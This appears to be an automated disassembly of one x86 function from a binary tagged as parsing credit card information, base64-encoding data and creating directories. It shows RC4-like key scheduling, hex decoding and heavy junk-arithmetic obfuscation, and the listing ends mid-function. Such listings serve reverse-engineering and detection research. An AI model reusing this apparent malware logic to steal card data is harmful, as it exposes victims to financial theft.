Function at 0x429019
Capabilities:
Create directory
Encode data using base64
Get common file path
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6cac
call fcn.009eac20
mov eax, dword [0xa9e06c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x468c], eax
mov ecx, dword [ebp - 0x468c]
add ecx, 2
mov dword [ebp - 0x6788], ecx
mov edx, dword [ebp - 0x468c]
mov ax, word [edx]
mov word [ebp - 0x4bb8], ax
add dword [ebp - 0x468c], 2
cmp word [ebp - 0x4bb8], 0
jne 0x428d92
mov ecx, dword [ebp - 0x468c]
sub ecx, dword [ebp - 0x6788]
sar ecx, 1
mov dword [ebp - 0x678c], ecx
mov edx, dword [ebp - 0x678c]
lea eax, [edx + edx + 2]
mov dword [ebp - 0x474c], eax
mov dword [ebp - 0x324c], 0
mov dword [ebp - 0x3250], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4764], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4608], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4608], xmm0
jmp 0x428e26
movsd xmm0, qword [ebp - 0x4608]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x4608], xmm0
movsd xmm0, qword [0xa66938]
comisd xmm0, xmmword [ebp - 0x4608]
jbe 0x428ed7
movsd xmm0, qword [0xa665e8]
mulsd xmm0, qword [ebp - 0x4608]
mulsd xmm0, qword [ebp - 0x4608]
movsd xmm1, qword [ebp - 0x4608]
mulsd xmm1, qword [ebp - 0x4608]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66408]
mulsd xmm1, qword [ebp - 0x4608]
mulsd xmm1, qword [ebp - 0x4608]
addsd xmm1, qword [0xa66420]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4764]
comisd xmm0, xmmword [0xa665c0]
jbe 0x428ed2
movsd xmm0, qword [0xa662a0]
mulsd xmm0, qword [ebp - 0x4608]
movsd xmm1, qword [ebp - 0x4764]
subsd xmm1, xmm0
movsd qword [ebp - 0x4764], xmm1
jmp 0x428e0e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4764]
jbe 0x428f17
jle 0x428f4e
xor al, 0x21
jno 0x428f26
dec esi
imul ebx, dword [esi + 0x77], 0x3b684076
pop edx
inc edx
insb byte es:[edi], dx
cmp al, 0x6d
cmp dword [ecx + 0x40], esi
imul edi, dword [eax], 0x68
inc ecx
jno 0x428f38
push 0x6e3d6738
imul edi, dword ds:[esi], 0x6f
inc ebx
inc ebp
arpl word [edi], di
push 0xee96f42
add byte ss:[eax], al
mov dword [ebp - 0x324c], 0x428ef4
mov dword [ebp - 0x3250], 0x428ee4
mov ecx, dword [ebp - 0x324c]
mov dword [ebp - 0x3bf8], ecx
mov edx, dword [ebp - 0x3250]
mov dword [ebp - 0x6790], edx
mov byte [ebp - 0x402d], 0x14
mov dword [ebp - 0x385c], 0
jmp 0x428f65
jmp esp
xchg ebp, eax
mov al, 0xcd
invalid
invalid
mov eax, dword [ebp - 0x385c]
add eax, 1
mov dword [ebp - 0x385c], eax
cmp dword [ebp - 0x385c], 0x100
jae 0x428f86
mov ecx, dword [ebp - 0x385c]
mov dl, byte [ebp - 0x385c]
mov byte [ebp + ecx - 0x5eb0], dl
jmp 0x428f56
mov dword [ebp - 0x4544], 0
mov byte [ebp - 0x3368], 0
mov dword [ebp - 0x385c], 0xff
jmp 0x428fb2
mov eax, dword [ebp - 0x385c]
sub eax, 1
mov dword [ebp - 0x385c], eax
cmp dword [ebp - 0x385c], 0
jbe 0x429222
mov dword [ebp - 0x4bc0], 0
mov dword [ebp - 0x4974], 1
mov ecx, dword [ebp - 0x4974]
cmp ecx, dword [ebp - 0x385c]
jae 0x428ff3
mov edx, dword [ebp - 0x4974]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4974], eax
jmp 0x428fd3
mov ecx, dword [ebp - 0x4544]
mov dword [ebp - 0x5420], ecx
cmp dword [ebp - 0x5420], 3
ja case.default.0x429012
mov edx, dword [ebp - 0x5420]
jmp dword [edx*4 + 0x46cd94]
movzx eax, byte [ebp - 0x3368]
movzx ebx, byte [ebp + eax - 0x5eb0]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x4290fb
movzx ecx, byte [ebp - 0x3368]
movzx ebx, byte [ebp + ecx - 0x5eb0]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x4290fb
movzx edx, byte [ebp - 0x3368]
movzx ebx, byte [ebp + edx - 0x5eb0]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x4290fb
movzx eax, byte [ebp - 0x3368]
movzx ebx, byte [ebp + eax - 0x5eb0]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x4290fb
movzx ecx, byte [ebp - 0x3368]
movzx edx, byte [ebp + ecx - 0x5eb0]
mov eax, dword [ebp - 0x6790]
add eax, dword [ebp - 0x4544]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3368], dl
mov edx, dword [ebp - 0x4544]
add edx, 1
mov dword [ebp - 0x4544], edx
movzx eax, byte [ebp - 0x402d]
cmp dword [ebp - 0x4544], eax
jb 0x429139
mov dword [ebp - 0x4544], 0
movzx ecx, byte [ebp - 0x402d]
movzx edx, byte [ebp - 0x3368]
add edx, ecx
mov byte [ebp - 0x3368], dl
movzx eax, byte [ebp - 0x3368]
and eax, dword [ebp - 0x4974]
mov dword [ebp - 0x4298], eax
mov ecx, dword [ebp - 0x4bc0]
add ecx, 1
mov dword [ebp - 0x4bc0], ecx
cmp dword [ebp - 0x4bc0], 0xb
jbe 0x429178
mov eax, dword [ebp - 0x4298]
xor edx, edx
div dword [ebp - 0x385c]
mov dword [ebp - 0x4298], edx
mov edx, dword [ebp - 0x4298]
cmp edx, dword [ebp - 0x385c]
ja 0x428ff3
mov eax, dword [ebp - 0x385c]
cmp eax, dword [ebp - 0x4298]
je 0x42921d
mov ecx, dword [ebp - 0x4298]
movzx edx, byte [ebp + ecx - 0x5eb0]
mov eax, dword [ebp - 0x385c]
movzx ecx, byte [ebp + eax - 0x5eb0]
xor ecx, edx
mov edx, dword [ebp - 0x385c]
mov byte [ebp + edx - 0x5eb0], cl
mov eax, dword [ebp - 0x385c]
movzx ecx, byte [ebp + eax - 0x5eb0]
mov edx, dword [ebp - 0x4298]
movzx eax, byte [ebp + edx - 0x5eb0]
xor eax, ecx
mov ecx, dword [ebp - 0x4298]
mov byte [ebp + ecx - 0x5eb0], al
mov edx, dword [ebp - 0x4298]
movzx eax, byte [ebp + edx - 0x5eb0]
mov ecx, dword [ebp - 0x385c]
movzx edx, byte [ebp + ecx - 0x5eb0]
xor edx, eax
mov eax, dword [ebp - 0x385c]
mov byte [ebp + eax - 0x5eb0], dl
jmp 0x428fa3
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x3287], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32a6], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32f7], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32a5], dl
movzx eax, byte [ebp - 0x3368]
mov cl, byte [ebp + eax - 0x5eb0]
mov byte [ebp - 0x32d0], cl
mov dword [ebp - 0x541c], 0x1e
cmp dword [ebp - 0x541c], 2
jle 0x42c4d1
mov edx, dword [ebp - 0x541c]
and edx, 1
jne 0x42c4d1
mov dword [ebp - 0x33ac], 0
mov dword [ebp - 0x378c], 0
mov eax, dword [ebp - 0x378c]
add eax, 1
mov dword [ebp - 0x378c], eax
mov dword [ebp - 0x3bf4], 0
mov ecx, dword [ebp - 0x33ac]
shl ecx, 1
mov dword [ebp - 0x3bf4], ecx
mov dword [ebp - 0x3b94], 0
mov edx, dword [ebp - 0x3bf8]
add edx, dword [ebp - 0x3bf4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3b94]
mov dword [ebp - 0x3b94], eax
mov dword [ebp - 0x3b98], 0
mov ecx, dword [ebp - 0x3b98]
add ecx, 0x37
mov dword [ebp - 0x3b98], ecx
mov dword [ebp - 0x3bfc], 0
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3bfc], eax
mov dword [ebp - 0x3b9c], 0
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bfc]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3b9c], edx
mov dword [ebp - 0x3ba0], 0
mov eax, dword [ebp - 0x3ba0]
add eax, 0x62
mov dword [ebp - 0x3ba0], eax
mov dword [ebp - 0x3ba4], 0
mov ecx, dword [ebp - 0x3b94]
sub ecx, dword [ebp - 0x3b98]
add ecx, dword [ebp - 0x3ba4]
mov dword [ebp - 0x3ba4], ecx
mov dword [ebp - 0x3ba8], 0
mov edx, dword [ebp - 0x3b9c]
sub edx, dword [ebp - 0x3ba0]
add edx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3ba8], edx
mov dword [ebp - 0x3c00], 0
mov eax, dword [ebp - 0x3ba4]
shl eax, 4
mov dword [ebp - 0x3c00], eax
mov dword [ebp - 0x3c04], 0
mov ecx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0
movss xmm0, dword [0xa673a0]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [0xa672f4]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [0xa67240]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [0xa67184]
movss dword [ebp - 0x41fc], xmm0
movss xmm0, dword [0xa670bc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [0xa66ff4]
movss dword [ebp - 0x3578], xmm0
movss xmm0, dword [ebp - 0x34d8]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3834]
addss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x36f0]
mulss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x3834]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x36f0]
addss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x3b90]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [ebp - 0x36f0]
comiss xmm0, dword [ebp - 0x34d8]
jbe 0x4295aa
movss xmm0, dword [ebp - 0x34d8]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3b90]
mulss xmm0, dword [ebp - 0x3834]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [ebp - 0x3b90]
mulss xmm0, dword [ebp - 0x3834]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [ebp - 0x34d8]
mulss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x36f0]
addss xmm0, dword [ebp - 0x41fc]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x36f0]
mulss xmm0, dword [ebp - 0x41fc]
movss dword [ebp - 0x36f0], xmm0
mov edx, dword [ebp - 0x3c00]
or edx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], edx
jmp 0x429804
movss xmm0, dword [ebp - 0x3578]
divss xmm0, dword [ebp - 0x3b90]
movss dword [ebp - 0x3578], xmm0
movss xmm0, dword [ebp - 0x36f0]
subss xmm0, dword [ebp - 0x41fc]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x3834]
divss xmm0, dword [ebp - 0x36f0]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x41fc]
mulss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x41fc], xmm0
movss xmm0, dword [ebp - 0x3b90]
divss xmm0, dword [ebp - 0x3834]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [ebp - 0x34d8]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3578]
subss xmm0, dword [ebp - 0x3b90]
movss dword [ebp - 0x3578], xmm0
movss xmm0, dword [ebp - 0x3834]
addss xmm0, dword [ebp - 0x36f0]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x34d8]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3834]
mulss xmm0, dword [ebp - 0x36f0]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x36f0]
mulss xmm0, dword [ebp - 0x41fc]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x3b90]
comiss xmm0, dword [ebp - 0x34d8]
jbe 0x429774
movss xmm0, dword [ebp - 0x3578]
divss xmm0, dword [ebp - 0x3b90]
movss dword [ebp - 0x3578], xmm0
movss xmm0, dword [ebp - 0x34d8]
subss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3578]
addss xmm0, dword [ebp - 0x3b90]
movss dword [ebp - 0x3578], xmm0
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x3834]
subss xmm0, dword [ebp - 0x36f0]
movss dword [ebp - 0x3834], xmm0
jmp 0x429804
movss xmm0, dword [ebp - 0x3b90]
addss xmm0, dword [ebp - 0x3834]
movss dword [ebp - 0x3b90], xmm0
movss xmm0, dword [ebp - 0x34d8]
addss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x41fc]
addss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x41fc], xmm0
movss xmm0, dword [ebp - 0x36f0]
addss xmm0, dword [ebp - 0x41fc]
movss dword [ebp - 0x36f0], xmm0
movss xmm0, dword [ebp - 0x3834]
divss xmm0, dword [ebp - 0x36f0]
movss dword [ebp - 0x3834], xmm0
movss xmm0, dword [ebp - 0x34d8]
addss xmm0, dword [ebp - 0x3578]
movss dword [ebp - 0x34d8], xmm0
mov byte [ebp - 0x32f8], 0
mov al, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], al
mov byte [ebp - 0x32f6], 0
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32f6], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32a6]
add edx, ecx
mov byte [ebp - 0x32a6], dl
mov al, byte [ebp - 0x3287]
add al, 1
mov byte [ebp - 0x3287], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x32d0]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp - 0x32a6]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32a5]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp - 0x32f6]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32f6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32f7]
add edx, ecx
mov byte [ebp - 0x32f7], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x3287]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
xor eax, edx
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x32d0]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
movzx ecx, byte [ebp - 0x32f7]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp + edx - 0x5eb0]
xor eax, ecx
mov byte [ebp - 0x32a5], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], dl
mov al, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], al
cmp dword [ebp - 0x33ac], 0
jle 0x4299a1
movsx cx, byte [ebp - 0x3372]
mov edx, dword [ebp - 0x33ac]
mov word [ebp + edx*2 - 0x10e], cx
mov eax, dword [ebp - 0x33ac]
add eax, 1
mov dword [ebp - 0x33ac], eax
mov ecx, dword [ebp - 0x378c]
add ecx, 1
mov dword [ebp - 0x378c], ecx
mov edx, dword [ebp - 0x33ac]
shl edx, 1
mov dword [ebp - 0x3bf4], edx
mov eax, dword [ebp - 0x3bf8]
add eax, dword [ebp - 0x3bf4]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b94], ecx
mov dword [ebp - 0x3b98], 0x37
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3bfc], eax
movss xmm0, dword [0xa6745c]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [0xa67320]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [0xa67130]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3414]
addss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3504]
comiss xmm0, dword [ebp - 0x3414]
jbe 0x429ae7
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3504], xmm0
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b9c], edx
jmp 0x429d09
movss xmm0, dword [ebp - 0x3414]
mulss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3478]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3478]
divss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3504]
divss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3478]
comiss xmm0, dword [ebp - 0x3414]
jbe 0x429cc1
movss xmm0, dword [ebp - 0x3478]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3478]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3478]
addss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3478]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3414]
comiss xmm0, dword [ebp - 0x3478]
jbe 0x429c77
movss xmm0, dword [ebp - 0x3414]
mulss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3478]
subss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3478], xmm0
movss xmm0, dword [ebp - 0x3504]
divss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3504], xmm0
jmp 0x429cbf
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3414]
mulss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3504], xmm0
jmp 0x429d09
movss xmm0, dword [ebp - 0x3414]
subss xmm0, dword [ebp - 0x3478]
movss dword [ebp - 0x3414], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x3414]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3478]
addss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3478], xmm0
mov dword [ebp - 0x3ba0], 0x62
mov eax, dword [ebp - 0x3b94]
sub eax, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], eax
mov ecx, dword [ebp - 0x3b9c]
sub ecx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], ecx
mov edx, dword [ebp - 0x3ba4]
shl edx, 4
mov dword [ebp - 0x3c00], edx
mov eax, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], eax
mov ecx, dword [ebp - 0x3c00]
or ecx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], ecx
mov dl, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x32d0]
mov cl, byte [ebp + eax - 0x5eb0]
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32a6]
add ecx, eax
mov byte [ebp - 0x32a6], cl
mov dl, byte [ebp - 0x3287]
add dl, 1
mov byte [ebp - 0x3287], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp - 0x32a6]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x32a5]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp - 0x32f6]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x32f6]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32f7]
add ecx, eax
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x3287]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x32d0]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
movzx eax, byte [ebp - 0x32f7]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
movzx eax, byte [ebp + ecx - 0x5eb0]
xor edx, eax
mov byte [ebp - 0x32a5], dl
mov cl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], cl
mov dl, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], dl
cmp dword [ebp - 0x33ac], 0
jle 0x429ef4
movsx ax, byte [ebp - 0x3372]
mov ecx, dword [ebp - 0x33ac]
mov word [ebp + ecx*2 - 0x10e], ax
mov edx, dword [ebp - 0x33ac]
add edx, 1
mov dword [ebp - 0x33ac], edx
mov eax, dword [ebp - 0x378c]
add eax, 1
mov dword [ebp - 0x378c], eax
mov ecx, dword [ebp - 0x33ac]
shl ecx, 1
mov dword [ebp - 0x3bf4], ecx
mov edx, dword [ebp - 0x3bf8]
add edx, dword [ebp - 0x3bf4]
movzx eax, byte [edx]
mov dword [ebp - 0x3b94], eax
mov dword [ebp - 0x3b98], 0x37
mov ecx, dword [ebp - 0x33ac]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3bfc], edx
mov eax, dword [ebp - 0x3bf8]
add eax, dword [ebp - 0x3bfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b9c], ecx
mov dword [ebp - 0x3ba0], 0x62
mov edx, dword [ebp - 0x3b94]
sub edx, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], edx
mov eax, dword [ebp - 0x3b9c]
sub eax, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], eax
mov ecx, dword [ebp - 0x3ba4]
shl ecx, 4
mov dword [ebp - 0x3c00], ecx
movsd xmm0, qword [0xa66df0]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [0xa66cb8]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [0xa66ba0]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [0xa66a80]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [0xa66900]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [0xa66708]
movsd qword [ebp - 0x435c], xmm0
movsd xmm0, qword [ebp - 0x3cec]
mulsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x43f8]
subsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [ebp - 0x3cec]
mulsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x43d0]
mulsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [ebp - 0x43d0]
addsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [ebp - 0x43d0]
subsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [ebp - 0x435c]
comisd xmm0, xmmword [ebp - 0x3cec]
jbe 0x42a307
movsd xmm0, qword [ebp - 0x4050]
subsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x4050]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x4050]
addsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x4050]
divsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x43d0]
subsd xmm0, qword [ebp - 0x43dc]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [ebp - 0x3cec]
mulsd xmm0, qword [ebp - 0x43d0]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x435c]
divsd xmm0, qword [ebp - 0x4050]
movsd qword [ebp - 0x435c], xmm0
movsd xmm0, qword [ebp - 0x435c]
subsd xmm0, qword [ebp - 0x4050]
movsd qword [ebp - 0x435c], xmm0
movsd xmm0, qword [ebp - 0x4050]
divsd xmm0, qword [ebp - 0x43d0]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x43dc]
addsd xmm0, qword [ebp - 0x43f8]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [ebp - 0x43f8]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [ebp - 0x43f8]
